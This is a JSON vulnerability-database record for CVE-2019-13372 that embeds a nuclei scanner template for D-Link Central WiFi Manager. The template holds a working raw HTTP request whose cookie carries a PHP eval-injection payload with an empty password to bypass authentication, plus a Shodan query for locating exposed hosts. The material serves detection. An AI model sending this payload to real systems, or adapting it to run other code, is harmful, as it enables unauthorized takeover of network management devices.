{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2019-13372/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2019-13372/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2019-13372/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2019-13372/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2019-13372/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2019-13372"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2019-13372"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2019/CVE-2019-13372.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2019-13372\n\ninfo:\n  name: D-Link Central WiFi Manager CWM(100) - Remote Code Execution\n  author: DhiyaneshDK\n  severity: critical\n  description: |\n    /web/Lib/Action/IndexAction.class.php in D-Link Central WiFi Manager CWM(100) before v1.03R0100_BETA6 allows remote attackers to execute arbitrary PHP code via a cookie because a cookie's username field allows eval injection, and an empty password bypasses authentication.\n  impact: |\n    Unauthenticated attackers can execute arbitrary PHP code via cookie manipulation, leading to complete compromise of the D-Link Central WiFi Manager and potential access to all managed WiFi networks.\n  remediation: |\n    Update D-Link Central WiFi Manager to version 1.03R0100_BETA6 or later.\n  reference:\n    - https://github.com/unh3x/unh3x.github.io/blob/master/_posts/2019-02-21-D-link-%28CWM-100%29-Multiple-Vulnerabilities.md\n    - https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10117\n    - https://unh3x.github.io/2019/02/21/D-link-%28CWM-100%29-Multiple-Vulnerabilities/\n    - https://nvd.nist.gov/vuln/detail/CVE-2019-13372\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2019-13372\n    cwe-id: CWE-94\n    epss-score: 0.8249\n    epss-percentile: 0.9965\n    cpe: cpe:2.3:a:dlink:central_wifimanager:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: dlink\n    product: central_wifimanager\n    shodan-query: html:\"D-Link Central WiFiManager\"\n  tags: cve,cve2019,d-link,wifimanager,vkev,vuln\n\nvariables:\n  string: \"{{rand_text_alpha(10)}}\"\n\nhttp:\n  - raw:\n      - |\n        GET /index.php/Index/index HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: username=',0,\"\",1,\"0\")%3becho%20\"{{string}}\"%3b//\";password=\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"{{string}}\"\n          - \"/public/css/\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100ba1071b3c97e6d835754f3069ed4cc72967331fe3ac184f37d5b2f9a660286ee022047f87344c1f1459e586d59bdd2ccb99e3667a15b50395b21bc2d7c86013bd82a:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2019-13372"
}